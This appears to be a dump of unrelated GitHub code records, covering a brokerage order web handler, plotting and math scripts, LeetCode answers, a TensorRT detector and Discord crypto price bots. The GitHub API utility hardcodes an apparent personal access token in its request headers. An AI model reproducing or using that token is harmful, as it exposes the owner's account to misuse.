int(data['price']))\n date1 = date.today().strftime('%Y%m')\n date1 = '202103'\n future1 = ib.Future(data['symbol'], date1, data['exchange'])\n trade1 = conn.placeOrder(future1, order1)\n data = {\n 'contract': {'symbol': trade1.contract.symbol,\n 'lastTradeDateOrContractMonth': trade1.contract.lastTradeDateOrContractMonth,\n 'exchange': trade1.contract.exchange},\n 'order': {'orderId': trade1.order.orderId,\n 'clientId': trade1.order.clientId,\n 'action': trade1.order.action,\n 'totalQuantity': trade1.order.totalQuantity,\n 'lmtPrice': trade1.order.lmtPrice}\n }\n self.write(json.dumps(data))\n\n\nclass PlaceMarketOrder(tornado.web.RequestHandler):\n def get(self):\n data = {}\n for k, v in self.request.arguments.items():\n data[k] = v[0].decode(\"utf-8\")\n if 'side' not in data or 'quantity' not in data or 'symbol' not in data or 'exchange' not in data:\n self.write(json.dumps({'status': 'fail', 'params': {'side': 'buy/sell', 'quantity': 'int', 'symbol': 'NQ', 'exchange': 'GLOBEX'}}))\n elif not data['side'] == 'buy' and not data['side'] == 'sell':\n self.write(json.dumps({'status': 'fail', 'message': 'side must be buy or sell'}))\n elif int(data['quantity']) <= 0:\n self.write(json.dumps({'status': 'fail', 'message': 'quantity must be > 0'}))\n else:\n order1 = ib.MarketOrder(data['side'].upper(), int(data['quantity']))\n date1 = date.today().strftime('%Y%m')\n date1 = '202103'\n future1 = ib.Future(data['symbol'], date1, data['exchange'])\n trade1 = conn.placeOrder(future1, order1)\n data = {\n 'contract': {'symbol': trade1.contract.symbol,\n 'lastTradeDateOrContractMonth': trade1.contract.lastTradeDateOrContractMonth,\n 'exchange': trade1.contract.exchange},\n 'order': {'orderId': trade1.order.orderId,\n 'clientId': trade1.order.clientId,\n 'action': trade1.order.action,\n 'totalQuantity': trade1.order.totalQuantity}\n }\n self.write(json.dumps(data))\n\n\ndef main():\n tornado.options.parse_command_line()\n app = Application()\n server = tornado.httpserver.HTTPServer(app)\n server.listen(options.web_port)\n tornado.ioloop.IOLoop.current().start()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"webclinic017/dbpower-machine-learning-project","sub_path":"web-ib.py","file_name":"web-ib.py","file_ext":"py","file_size_in_byte":10486,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"42096458754","text":"import matplotlib.pyplot as plt\nfrom core.utils import load_progress\nimport seaborn as sns\nimport numpy as np\n\nppo_progress = load_progress(\"./data/cCarRacing-v0_PPO_12-01_21-39\")\nfig, ax =plt.subplots(figsize=(20,20))\n\nsns.lineplot(\n data=ppo_progress,\n x=\"iteration\",\n y=\"training_episode_reward/episode_reward_mean\",\n # y = 'time_stats/total_time',\n # y=\"training_episode_reward/episode_reward_max\",\n # y=\"learning_stats/entropy\",\n ax = ax,\n legend='brief',\n label='1',\n estimator= np.mean\n)\n\nppo_progress1 = load_progress(\"./data/cCarRacing-v0_PPO_12-10_17-51\")\nsns.lineplot(\n data=ppo_progress1,\n x=\"iteration\",\n y=\"training_episode_reward/episode_reward_mean\",\n # y = 'time_stats/total_time',\n # y=\"training_episode_reward/episode_reward_max\",\n # y=\"learning_stats/entropy\",\n ax= ax,\n legend='brief',\n label='2'\n)\n\nax.set_title(\"PPO training reward in cCarRacing-v0\")\nax.set_ylabel(\"Mean Rewards\")\nax.set_xlabel(\"Sampled Steps\")\nplt.legend()\nplt.show()\n","repo_name":"Mrmoore98/World-Model","sub_path":"compare_results.py","file_name":"compare_results.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"5167767535","text":"from scipy.misc import derivative\n\n\ndef newton_method_linear(func, args=(), error=1e-6, dx=1e-6):\n \"\"\"一维牛顿法求f(x)=0的值\n\n :param func: 目标函数\n :param args: 参数列表\n :param error: 容差\n :param dx: 计算导数时使用的dx\n :return:\n \"\"\"\n x0, y0 = 0, func(0, *args)\n while True:\n d = derivative(func, x0, args=args, dx=dx) # 计算一阶导数\n x1 = x0 - y0 / d\n if abs(x1 - x0) < error:\n return x1\n x0, y0 = x1, func(x1, *args)\n\n\nif __name__ == \"__main__\":\n def f(x, k):\n return (x - k) ** 3\n\n\n print(newton_method_linear(f, args=(2,))) # 1.999998535982025\n","repo_name":"ChangxingJiang/Data-Mining-HandBook","sub_path":"code/maximum_entropy_model/_newton_method_linear.py","file_name":"_newton_method_linear.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"zh","doc_type":"code","stars":32,"dataset":"github-code","pt":"2"} +{"seq_id":"14546038275","text":"import requests # import \"requests\" for request any URL\nimport json # import \"json\" for work with json files\n\n\nURL = 'https://api.github.com/repositories' # unchangable repositories URL\nchanged_url = 'https://api.github.com/repositories' # changable repositories URL\n\n# headers for requests\nHEADERS = {\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36\",\n 'Authorization': 'token ' + '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' # Github API token for work with data from github and getting access\n}\n\n# parameters for requests\nPARAMS = {\n 'since': 0, \n 'per_page': 30,\n 'sort': 'updated',\n # 'access_token': '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'\n}\n\n\n# Change variable \"changed url\"\ndef change_url(url):\n changed_url = url\n\n\n# Operations with repositories\n# getting repo's name\ndef get_name(repo):\n return repo['name']\n\n# getting repo's full name \ndef get_full_name(repo):\n return repo['full_name']\n\n# getting repo's owners\ndef get_owner(repo):\n return repo['owner']\n\n# getting repo's description\ndef get_description(repo):\n return repo['description']\n\n# getting repo's forks\ndef get_forks(repo):\n url = repo['forks_url'] # forks url\n\n response = requests.get(url, headers = HEADERS) # get forks array\n forks = response.json()\n return forks\n\n# getting repo's popular language\ndef get_popular_language(repo):\n url = repo['languages_url'] # languages url\n\n response = requests.get(url, headers = HEADERS) # get languages dictonary\n languages = response.json()\n language = ''\n for key in languages.keys():\n language = key\n break\n return language\n\n# getting repo's stargazers\ndef get_stargazers(repo):\n url = repo['stargazers_url']\n\n response = requests.get(url, headers = HEADERS)\n stargazers_users = response.json()\n return stargazers_users\n\n# getting repo's contributors\ndef get_contributors(repo):\n url = repo['contributors_url']\n\n response = requests.get(url, headers = HEADERS)\n contributors = response.json()\n return contributors\n\n\n\n# getting new 30 repositories\ndef get_new_repos():\n response = requests.get(URL, params = PARAMS, headers = HEADERS)\n\n repos = response.json()\n return repos\n\n\n# getting all public repos\ndef get_all_repos():\n global changed_url\n repos = []\n i = 0\n while i<30:\n\n try: \n response = requests.get(changed_url, params = PARAMS, headers = HEADERS)\n response.raise_for_status()\n except requests.exceptions.RequestException as e:\n print(f\"Ошибка при запросе: {e}\")\n print(\"Возвращаем предыдущие данные:\")\n return repos\n else:\n reps = response.json()\n repos.extend(reps)\n if 'next' in response.links.keys():\n PARAMS['since'] = repos[-1]['id']\n changed_url = response.links['next']['url']\n else:\n print(\"Enought\")\n break\n i += 1\n # if response.status_code != 200:\n # print('Error: ', response.status_code)\n # break\n \n PARAMS['since'] = 0\n\n return repos\n\n\n# closure for getting array of repos\ndef repos_closure(ident = 0):\n\n id = ident\n\n def closure_inner(count, arr):\n nonlocal id\n repos = []\n index = id\n while index < id + count and index < len(arr):\n repos.append(arr[index])\n index += 1\n id = index\n return repos\n \n return closure_inner\n\ndef read_json(file_path):\n with open(file_path) as json_file:\n data = json.load(json_file)\n return data\n\n\n# main algorithm\ndef main():\n get_arr_repos = repos_closure()\n arr = read_json(r'D:\\Programming\\projects\\CursProject\\django_files\\utils\\repos.json')\n repos_arr = []\n\n for i in range(1):\n rep_arr = get_arr_repos(10, arr)\n\n repos_arr.extend(rep_arr)\n for rep in repos_arr:\n print(get_popular_language(rep)) \n\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"QuieteeN/CursProjectsDemo","sub_path":"django_files/utils/github_utils.py","file_name":"github_utils.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"6307038848","text":"from collections import deque\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\nmatrix = [list(map(int, input().split())) for _ in range(n)]\nmatrix_min = min(map(min,matrix))\nmatrix_max = max(map(max,matrix))\n\ndx = [0,0,-1,1]\ndy = [-1,1,0,0]\ndef bfs(x,y,h):\n q = deque()\n q.append([x,y])\n visited[x][y] = 1\n while q:\n qx, qy = q.popleft()\n for i in range(4):\n nx = qx + dx[i]\n ny = qy + dy[i]\n if 0<=nx h and visited[nx][ny] == 0:\n visited[nx][ny] = 1\n q.append([nx,ny])\n\nres = 0\nfor h in range(matrix_max+1):\n cnt = 0\n visited = [[0]*n for _ in range(n)]\n for i in range(n):\n for j in range(n):\n if matrix[i][j] > h and visited[i][j] == 0:\n bfs(i,j,h)\n cnt+=1\n res = max(cnt,res)\nprint(res)","repo_name":"SongSiWoon/Algorithms_BOJ","sub_path":"Python/2468.py","file_name":"2468.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"17352512414","text":"from django.db import migrations, models\n\n\ndef forwards(apps, schema_editor):\n try:\n migrations.AddConstraint(\n model_name='blacklistedtoken',\n constraint=models.UniqueConstraint(fields=('username', 'token'), name='unique_username_token'),\n ),\n except Exception:\n # no constraint on mysql, max key is 3072 bytes which is not enough\n pass\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('oauth2_authcodeflow', '0002_auto_20210528_1422'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='blacklistedtoken',\n name='token',\n field=models.CharField(editable=False, max_length=15000),\n ),\n migrations.RunPython(forwards),\n ]\n","repo_name":"jrd/django-oauth2-authcodeflow","sub_path":"oauth2_authcodeflow/migrations/0003_auto_20210528_1432.py","file_name":"0003_auto_20210528_1432.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"2"} +{"seq_id":"14997261569","text":"# https://leetcode.com/problems/intersection-of-two-linked-lists/\n\nclass Solution:\n def getIntersectionNode(\n self,\n head_a: ListNode,\n head_b: ListNode) -> Optional[ListNode]:\n curr_a = head_a\n curr_b = head_b\n while curr_a != curr_b:\n curr_a = curr_a.next if curr_a else head_b\n curr_b = curr_b.next if curr_b else head_a\n return curr_a\n","repo_name":"tseng1026/LeetCode-DataStructure","sub_path":"LinkedList/Easy/intersection_of_two_linked_lists.py","file_name":"intersection_of_two_linked_lists.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"40554779315","text":"from enum import Enum, auto\n#import os\nfrom typing import Union\n\n# use numpy for another rng genrator\n# doc said movement use a decoupled rng\n# use random.random may affect the rng of movement\n# haven't tested the theory but add here just in case\nimport numpy as np\nfrom pygame.gfxdraw import hline, vline\n\nimport pygame as pg\nfrom pygame.math import Vector2\nfrom vi import Agent, Simulation\nfrom vi.config import Config, dataclass, deserialize\n\n# All possible states of the agent\nclass States(Enum):\n WANDERING = auto(),\n JOIN = auto(),\n STILL = auto(),\n LEAVE = auto()\n\n# Paramters to tweak, used by both configs\n@deserialize\n@dataclass\nclass Params(Config):\n\n join_timer: int = 10\n still_timer: int = 30\n leave_timer: int = 10\n random_change_angle_chance: float = 0.25 \n image_rotation: bool = True\n movement_speed: int = 1\n seed: int = 1\n visualise_chunks: bool = True\n radius: int = 40\n\n# 2 Config for 1/2 sites. Could be optimised but thats for later\n@deserialize\n@dataclass\nclass SingleSiteConfig(Params):\n\n site_center: Vector2 = Vector2(350, 350)\n site_color: tuple[int, int, int] = (152, 152, 152)\n site_radius: int = 100\n\n@deserialize\n@dataclass\nclass DoubleSiteConfig(Params):\n\n site_centers: tuple[Vector2, Vector2] = (Vector2(175, 350), Vector2(575, 350))\n site_color: tuple[int, int, int] = (152, 152, 152)\n site_radius: tuple[int, int] = (100, 100)\n\nclass Roach(Agent):\n config: Union[SingleSiteConfig, DoubleSiteConfig]\n site: int = -1\n state: States = States.WANDERING # init state as WANDERING\n join_timer: int\n still_timer: int\n leave_timer: int\n\n def change_position(self):\n\n self.there_is_no_escape()\n\n self.check_site() # check if agent in any sites\n\n self.save_data(\"site\", self.site) # save data, could comment out\n\n # ------Wandering------\n\n if self.state == States.WANDERING:\n\n if self.on_site(): # if in a site then attempt to change state\n\n if self.join():\n self.pos += self.move\n self.state = States.JOIN\n self.join_timer = self.config.join_timer # start JOIN timer\n return\n \n # else continue random walk - code copy from source\n prng = self.shared.prng_move\n\n should_change_angle = prng.random()\n\n if self.config.random_change_angle_chance > should_change_angle:\n self.move.rotate(prng.uniform(-10, 10))\n\n self.pos += self.move\n\n return\n\n # ------Join------\n\n elif self.state == States.JOIN: # if in JOIN then just walk\n \n if self.join_timer > 0:\n self.pos += self.move\n self.join_timer -= 1\n return\n \n # stop and change to STILL when timer run out\n self.state = States.STILL\n self.still_timer = self.config.still_timer # start STILL timer\n return\n\n # ------Still------\n\n elif self.state == States.STILL: \n \n # count down timer until next check\n if self.still_timer > 0:\n self.still_timer -= 1\n return\n\n if self.leave(): # attempt to leave\n self.pos += self.move\n self.state = States.LEAVE\n self.leave_timer = self.config.leave_timer # start LEAVE timer\n return\n \n # else reset STILL timer\n self.still_timer = self.config.still_timer\n\n # ------Leave------\n\n elif self.state == States.LEAVE:\n \n # walk until timer reach 0, take no consideration of any factors\n if self.leave_timer > 0:\n self.pos += self.move\n self.leave_timer -=1\n return\n\n self.state = States.WANDERING # change to WANDERING\n return\n \n # determine if agent want to join/leave or not\n def join(self) -> bool: #TODO \n p = 0.5 + 0.1 * self.in_proximity_performance().count()\n \n check = np.random.default_rng().uniform(0, 1)\n\n return p > check\n \n\n def leave(self) -> bool: #TODO\n p = 0.5 - 0.1 * self.in_proximity_performance().count()\n \n check = np.random.default_rng().uniform(0, 1)\n\n return p > check\n \n # overrides on default function as we are using a different system\n def on_site(self) -> bool:\n return self.site != -1\n\n def on_site_id(self) -> int:\n return self.site\n\n def check_site(self):\n\n if isinstance(self.config, DoubleSiteConfig):\n for idx, center in enumerate(self.config.site_centers):\n if self.pos.distance_to(center) < self.config.site_radius[idx]:\n self.site = idx\n return\n\n elif self.pos.distance_to(self.config.site_center) < self.config.site_radius:\n self.site = 0\n return\n \n self.site = -1\n\n\nclass RoachSim(Simulation):\n config: Union[SingleSiteConfig, DoubleSiteConfig]\n\n def before_update(self):\n super().before_update()\n\n for event in pg.event.get():\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_q:\n self._running = False\n if event.key == pg.KEYUP:\n self.config.fps_limit = 120\n\n \n #print(\"Frame :\", self.shared.counter)\n\n def after_update(self):\n # Draw verything to the screen\n\n if type(self.config) is SingleSiteConfig:\n pg.draw.circle(self._screen, self.config.site_color, self.config.site_center, self.config.site_radius)\n\n if type(self.config) is DoubleSiteConfig:\n for idx, center in enumerate(self.config.site_centers):\n pg.draw.circle(self._screen, self.config.site_color, center, self.config.site_radius[idx])\n\n self._all.draw(self._screen)\n\n\n if self.config.visualise_chunks:\n self.__visualise_chunks()\n\n # Update the screen with the new image\n pg.display.flip()\n\n self._clock.tick(self.config.fps_limit)\n\n current_fps = self._clock.get_fps()\n if current_fps > 0:\n self._metrics.fps._push(current_fps)\n\n if self.config.print_fps:\n print(f\"FPS: {current_fps:.1f}\")\n\n def __visualise_chunks(self):\n \"\"\"Visualise the proximity chunks by drawing their borders.\"\"\"\n\n colour = pg.Color(255, 255, 255, 122)\n chunk_size = self._proximity.chunk_size\n\n width, height = self.config.window.as_tuple()\n\n for x in range(chunk_size, width, chunk_size):\n vline(self._screen, x, 0, height, colour)\n\n for y in range(chunk_size, height, chunk_size):\n hline(self._screen, 0, width, y, colour)\n\ndef main():\n #config = SingleSiteConfig()\n\n config1 = DoubleSiteConfig()\n\n df = RoachSim(config1).batch_spawn_agents(50, Roach, images=[\"images/bird.png\"]).run().snapshots\n\n file_name = \"data.csv\"\n\n print(df)\n\n #if not os.path.exists(file_name):\n # with open(file_name, 'w'): pass\n\n # df.write_csv(file_name, separator=\",\")\n\n print(\"Output: \", file_name)\n\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"Copy-Kat/ass1_PCI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"35674694390","text":"#!/usr/bin/python\n#\n# Screen scraper based API for BookMyShow.\n\nimport re\nimport urllib.request\nimport urllib.error\nimport pprint\n\nclass BookMyShowClient(object):\n NOW_SHOWING_REGEX = '{\"event\":\"productClick\",\"ecommerce\":{\"currencyCode\":\"INR\",\"click\":{\"actionField\":{\"list\":\"Filter Impression:category\\\\\\/now showing\"},\"products\":\\[{\"name\":\"(.*?)\",\"id\":\"(.*?)\",\"category\":\"(.*?)\",\"variant\":\"(.*?)\",\"position\":(.*?),\"dimension13\":\"(.*?)\"}\\]}}}'\n COMING_SOON_REGEX = '{\"event\":\"productClick\",\"ecommerce\":{\"currencyCode\":\"INR\",\"click\":{\"actionField\":{\"list\":\"category\\\\\\/coming soon\"},\"products\":{\"name\":\"(.*?)\",\"id\":\"(.*?)\",\"category\":\"(.*?)\",\"variant\":\"(.*?)\",\"position\":(.*?),\"dimension13\":\"(.*?)\"}}}}'\n\n def __init__(self, location = 'Bengaluru'):\n self.__location = location.lower()\n self.__url = \"https://in.bookmyshow.com/%s/movies\" % self.__location\n self.__html = None\n\n def __download(self):\n req = urllib.request.Request(self.__url, headers={'User-Agent' : \"Magic Browser\"})\n html = urllib.request.urlopen(req).read().decode('utf-8')\n return html\n\n def get_now_showing(self):\n if not self.__html:\n self.__html = self.__download()\n now_showing = re.findall(self.NOW_SHOWING_REGEX, self.__html)\n return now_showing\n\n def get_coming_soon(self):\n if not self.__html:\n self.__html = self.__download()\n coming_soon = re.findall(self.COMING_SOON_REGEX, self.__html)\n return coming_soon\n\n def create_url(self,show):\n return show\n\n def get_processed_names(self,shows):\n processed_names = []\n for show in shows:\n processed_names.append(self.create_url(show))\n return processed_names\n\n\ndef utility(city):\n bms_client = BookMyShowClient(city)\n now_showing = bms_client.get_now_showing()\n coming_soon = bms_client.get_coming_soon()\n return str(len(now_showing)) + ' movies playing in str(city) ' + str(bms_client.get_processed_names(now_showing))\n\nif __name__ == '__main__':\n # Test code.\n bms_client = BookMyShowClient('Bangalore')\n now_showing = bms_client.get_now_showing()\n coming_soon = bms_client.get_coming_soon()\n print (str(len(now_showing))+' movies playing in Bengaluru: ', bms_client.get_processed_names(now_showing))","repo_name":"ha5463/BMSExtension","sub_path":"bookMyShow.py","file_name":"bookMyShow.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"40426880491","text":"# -*- coding: utf-8 -*-\nimport os\n\nimport tensorrt as trt\nimport pycuda.driver as cuda\nimport pycuda.autoinit\n\nimport cv2\nimport numpy as np\n\nfrom utils.nms import nms\n\nMEAN = np.array([123.675, 116.28, 103.53], np.float32).reshape(1, 1, 3) /255\nSTD = np.array([58.395, 57.12, 57.375], np.float32).reshape(1, 1, 3) /255\n\n\nclass HostDeviceMem(object):\n def __init__(self, host_mem, device_mem):\n self.host = host_mem\n self.device = device_mem\n\n def __str__(self):\n return 'Host:\\n ' + str(self.host) + '\\nDevice:\\n' + str(self.device)\n\n def __repr__(self):\n return self.__str__()\n\nclass Detector(object):\n\n def __init__(self, filepath, img_shape):\n self.engine = self.get_engine(filepath)\n self.allocate_buffs(self.engine)\n self.height, self.width = img_shape\n # '道闸','地面垃圾','地锁','减速带','路障','限位器','雪糕筒'\n self.class_names = ('barrier_gate', 'garbage',\n 'parking_lock', 'speed_bump', 'road_block', \n 'stopper', 'traffic_cone')\n self.context = self.engine.create_execution_context()\n\n def get_engine(self, filepath):\n TRT_LOGGER = trt.Logger(trt.Logger.ERROR)\n print(\"Reading engine from file {}\".format(filepath))\n with open(filepath, \"rb\") as f, trt.Runtime(TRT_LOGGER) as runtime:\n return runtime.deserialize_cuda_engine(f.read())\n\n def allocate_buffs(self, engine):\n self.inputs = []\n self.outputs = []\n self.bindings = []\n self.stream = cuda.Stream()\n for binding in engine:\n dtype = trt.nptype(engine.get_binding_dtype(binding))\n host_mem = cuda.pagelocked_empty(trt.volume(engine.get_binding_shape(binding)), dtype=dtype)\n device_mem = cuda.mem_alloc(host_mem.nbytes)\n self.bindings.append(int(device_mem))\n if engine.binding_is_input(binding):\n self.inputs.append(HostDeviceMem(host_mem, device_mem))\n else:\n self.outputs.append(HostDeviceMem(host_mem, device_mem))\n\n def inference(self, data):\n data = self.pre_process(data)\n self.inputs[0].host = data.ravel()\n [cuda.memcpy_htod_async(inp.device, inp.host, self.stream) for inp in self.inputs]\n self.context.execute_async_v2(bindings=self.bindings, stream_handle=self.stream.handle)\n [cuda.memcpy_dtoh_async(out.host, out.device, self.stream) for out in self.outputs]\n self.stream.synchronize()\n output = [out.host for out in self.outputs]\n dets = self.post_process(output)\n\n return dets\n\n def pre_process(self, data):\n data = data.astype(np.float32) / 255.\n data = (data - MEAN) / STD\n data = data.transpose(2, 0, 1)\n\n return data\n\n def post_process(self, results):\n boxes = results[0].reshape((-1, 4))\n scores = results[1].reshape((-1, 7))\n labels = np.argmax(scores, axis=1)\n scores = np.max(scores, axis=1)\n \n mask = scores > 0.3 \n boxes = boxes[mask]\n scores = scores[mask]\n labels = labels[mask]\n \n keep = nms(boxes, scores, 0.5)\n if len(keep) == 0:\n return ([], [], [])\n boxes = boxes[keep]\n scores = scores[keep]\n labels = labels[keep]\n\n return (boxes, scores, labels)\n","repo_name":"swc-17/robot_detection","sub_path":"Detection/src/utils/detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"6757807612","text":"class Solution(object):\n def minimumTotal(self, triangle):\n \"\"\"\n :type triangle: List[List[int]]\n :rtype: int\n \"\"\"\n # cannot use greedy approach of always choosing local minima\n # can lead to skipping of other minumums in the row\n\n # instead use a bottom-up approach, and update the tringle as you go\n\n for i in range(len(triangle)-2, -1, -1): # start from second-last row\n for j in range(len(triangle[i])):\n triangle[i][j] += min(triangle[i+1][j], triangle[i+1][j+1])\n\n return triangle[0][0] # will contain minimum sum\n","repo_name":"vikrambajaj22/leetcode-submissions","sub_path":"120_triangle.py","file_name":"120_triangle.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"71827053167","text":"import os\r\nimport subprocess\r\nfrom dotenv import load_dotenv\r\nfrom multiprocessing import Process\r\nimport requests\r\nimport json\r\nimport re\r\nimport time\r\nimport websockets\r\nimport discord\r\nfrom discord.ext import commands, tasks\r\n\r\nimport utils\r\nimport alert_handler\r\n\r\n\r\n# Initialize Env Variables\r\nload_dotenv()\r\n\r\n# Get Bot Tokens from Env Vars\r\nBTC_TOKEN = os.getenv('BTC_TOKEN')\r\nETH_TOKEN = os.getenv('ETH_TOKEN')\r\nSOL_TOKEN = os.getenv('SOL_TOKEN')\r\nLTC_TOKEN = os.getenv('LTC_TOKEN')\r\n\r\nbots = {\r\n BTC_TOKEN: \"BTC\",\r\n ETH_TOKEN: \"ETH\",\r\n SOL_TOKEN: \"SOL\",\r\n LTC_TOKEN: \"LTC\"\r\n}\r\n\r\n\r\nintents = discord.Intents.default()\r\nintents.message_content = True\r\ndelete_cooldown = 3\r\nloop_time = 12\r\n\r\nguild_id = 696082479752413274\r\nalert_role_id = 798457594661437450\r\nalert_channel_id = 696082479752413277\r\nbot_status_channel_id = 951549833368461372\r\nsystem_log_channel_id = 712721050223247360\r\n\r\n\r\ndef get_rest_price(ticker):\r\n response = requests.get(f\"https://api.binance.com/api/v3/ticker/price\", params={\"symbol\": f\"{ticker}USDT\"})\r\n data = json.loads(response.content)\r\n return float(data['price'])\r\n\r\n\r\ndef get_usd_cad_conversion():\r\n return float(\r\n json.loads(requests.get(\"https://api.coinbase.com/v2/exchange-rates\", params={\"currency\": \"USD\"}).content)[\r\n 'data']['rates']['CAD'])\r\n\r\n\r\ndef CryptoPriceBot(bot_token, asset):\r\n # * Initialization\r\n client = commands.Bot(command_prefix=\"p!\", intents=intents)\r\n\r\n # * Initialize Utils\r\n client.utils = utils.Utils(client)\r\n\r\n # * Initialize Alert Handler\r\n client.alert_handler = alert_handler.AlertHandler(client)\r\n\r\n # * Initialize Client Variables\r\n\r\n client.last_ws_update = None\r\n client.discord_api_gets = 0\r\n client.discord_api_posts = 0\r\n client.start_time = int(time.time())\r\n\r\n client.dc_threshold_time = None\r\n client.status_message = None\r\n client.disconnected = False\r\n\r\n client.asset = asset\r\n client.name = client.asset\r\n\r\n # * Set Price Alerts\r\n client.alert_up = None\r\n client.alert_down = None\r\n\r\n with open('price_alerts.json') as json_file:\r\n data = json.load(json_file)\r\n\r\n client.alert_up = data[client.asset]['up']\r\n client.alert_down = data[client.asset]['down']\r\n\r\n # * Set Variability Threshold\r\n client.variability_threshold = None\r\n\r\n with open('settings.json') as json_file:\r\n data = json.load(json_file)\r\n\r\n client.variability_threshold = data[\"variability-threshold\"][client.asset]\r\n\r\n # * Main Bot Loop\r\n async def main_loop():\r\n alert_channel = client.get_channel(alert_channel_id)\r\n alert_role = client.guild.get_role(alert_role_id)\r\n\r\n async for websocket in websockets.connect(f\"wss://stream.binance.com:9443/ws/{client.asset.lower()}usdt@trade\"):\r\n try:\r\n while True:\r\n data = json.loads(await websocket.recv())\r\n\r\n if data['e'] == \"trade\":\r\n\r\n client.last_ws_update = int(time.time())\r\n client.usd_price = float(data['p'])\r\n\r\n # Check Alerts (Since every iteration loop only gets new data for one asset, we only need to check alert on one asset)\r\n if client.alert_up:\r\n if client.usd_price > client.alert_up:\r\n await alert_channel.send(f\"\\U0001f4c8 {alert_role.mention} {client.asset} is above {client.alert_up}.\")\r\n client.alert_handler.clear_alert('up')\r\n if client.alert_down:\r\n if client.usd_price < client.alert_down:\r\n await alert_channel.send(f\"\\U0001f4c9 {alert_role.mention} {client.asset} is below {client.alert_down}.\")\r\n client.alert_handler.clear_alert('down')\r\n\r\n # Get currently displayed prices from Discord API\r\n bot_member = client.guild.get_member(client.user.id)\r\n\r\n # Add 1 to API GET counter\r\n client.discord_api_gets += 1\r\n\r\n # Bot nickname can be formatted incorrectly for regex, try to parse, otherwise manually set display price to near $0 to force update\r\n try:\r\n bot_display_price = float(re.findall(r\"\\d+\\.\\d+\", bot_member.nick)[0])\r\n except Exception:\r\n bot_display_price = float(10**-10)\r\n\r\n # Calculate delta factor between actual price and displayed price\r\n delta_factor = abs(1-(client.usd_price / bot_display_price))\r\n\r\n if delta_factor > client.variability_threshold:\r\n await update_display()\r\n client.discord_api_posts += 1\r\n else:\r\n await alert_channel.send(f\"could not parse `{data}`\")\r\n print(data)\r\n except Exception:\r\n continue\r\n\r\n # * Task Loops\r\n @tasks.loop(hours=1)\r\n async def update_cad_usd_conversion():\r\n client.usd_cad_conversion = get_usd_cad_conversion()\r\n\r\n @tasks.loop(seconds=5)\r\n async def check_last_ws_msg():\r\n if client.last_ws_update is not None and (client.last_ws_update + 60) < int(time.time()):\r\n client.disconnected = True\r\n else:\r\n client.disconnected = False\r\n\r\n # Prolonged DC Self-Restart Logic\r\n # If either websocket is disconnected, run checker logic\r\n if client.disconnected:\r\n # Set bot status and rich presence\r\n await client.status_message.edit(content=f\"{client.asset} WS Status: :red_circle:\")\r\n\r\n await client.change_presence(activity=discord.Game(client.utils.get_activity_label()), status=discord.Status.dnd)\r\n\r\n # If there is already a trigger time set, check if current time is over threshold time\r\n if client.dc_threshold_time != None:\r\n curr_time = int(time.time())\r\n\r\n # If current time over threshold time, trigger restart\r\n if curr_time > client.dc_threshold_time:\r\n await client.get_channel(system_log_channel_id).send(f\"[PRICE BOT HEALTH SYS] Price bot service restart triggered at ()\")\r\n\r\n subprocess.Popen(\"sudo systemctl restart crypto-price-bots\", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\r\n\r\n # If there is no trigger time set, set a trigger time 120 seconds later\r\n else:\r\n client.dc_threshold_time = (int(time.time()) + 120)\r\n\r\n # If no websockets are disconnected, cancel threshold if it exists\r\n else:\r\n # Cancel current threshold time\r\n client.dc_threshold_time = None\r\n\r\n # Reset bot status and rich presence in Discord\r\n await client.status_message.edit(content=f\"{client.asset} WS Status: :green_circle:\")\r\n\r\n await client.change_presence(activity=discord.Game(client.utils.get_activity_label()), status=discord.Status.online)\r\n\r\n # * Update Displayed Price\r\n async def update_display():\r\n # Format for price bots\r\n #\r\n # Primary Asset TICKER - $price.xx (USD)\r\n # Primary Asset TICKER - $price.xx (CAD)\r\n\r\n await client.guild.me.edit(nick=f\"{client.asset} - ${round(client.usd_price, 4)}\")\r\n\r\n # Set status based on current disconnected status\r\n if client.disconnected:\r\n await client.change_presence(activity=discord.Game(client.utils.get_activity_label()), status=discord.Status.dnd)\r\n else:\r\n await client.change_presence(activity=discord.Game(client.utils.get_activity_label()), status=discord.Status.online)\r\n\r\n # * On Ready\r\n @client.event\r\n async def on_ready():\r\n # Load extensions\r\n await client.load_extension('command_handler')\r\n\r\n # Get Discord Server\r\n client.guild = client.get_guild(guild_id)\r\n\r\n print(f\"{client.name} loaded.\")\r\n\r\n # Bot Status System\r\n bot_status_channel = client.get_channel(bot_status_channel_id)\r\n\r\n # Clear Status Channel of Previous Statuses\r\n messages = []\r\n\r\n async for message in bot_status_channel.history():\r\n if message.author == client.user:\r\n 